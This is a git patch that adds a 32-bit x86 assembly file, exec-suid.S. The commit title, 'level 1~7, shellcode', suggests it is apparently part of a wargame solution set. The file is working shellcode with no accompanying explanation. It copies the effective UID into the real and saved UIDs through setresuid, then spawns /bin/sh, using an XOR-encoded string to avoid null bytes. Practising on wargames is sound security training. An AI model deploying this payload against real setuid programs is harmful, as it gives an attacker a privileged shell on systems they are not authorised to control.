From 62d1287693cbb282570c52f44bfcc0be0e590d7f Mon Sep 17 00:00:00 2001
From: Iru Cai <mytbk920423@gmail.com>
Date: Fri, 5 Oct 2018 17:41:48 +0800
Subject: level 1~7, shellcode

---
 shellcode/exec-suid.S | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 shellcode/exec-suid.S

(limited to 'shellcode/exec-suid.S')

diff --git a/shellcode/exec-suid.S b/shellcode/exec-suid.S
new file mode 100644
index 0000000..94ec68a
--- /dev/null
+++ b/shellcode/exec-suid.S
@@ -0,0 +1,21 @@
+.global _start
+_start:
+	xorl %eax, %eax
+	addb $201, %al # geteuid
+	int $0x80
+	movl %eax, %ebx
+	movl %eax, %ecx
+	movl %eax, %edx
+	xorl %eax, %eax
+	addb $208, %al # setresuid
+	int $0x80
+	xorl %eax, %eax
+	addb $11, %al
+	movl $0x3058431f, %ebx
+	xorl $0x30303030, %ebx # "/sh\0"
+	pushl %ebx
+	pushl $0x6e69622f # "/bin"
+	movl %esp, %ebx
+	xorl %ecx, %ecx
+	xorl %edx, %edx
+	int $0x80
-- 
cgit v1.2.3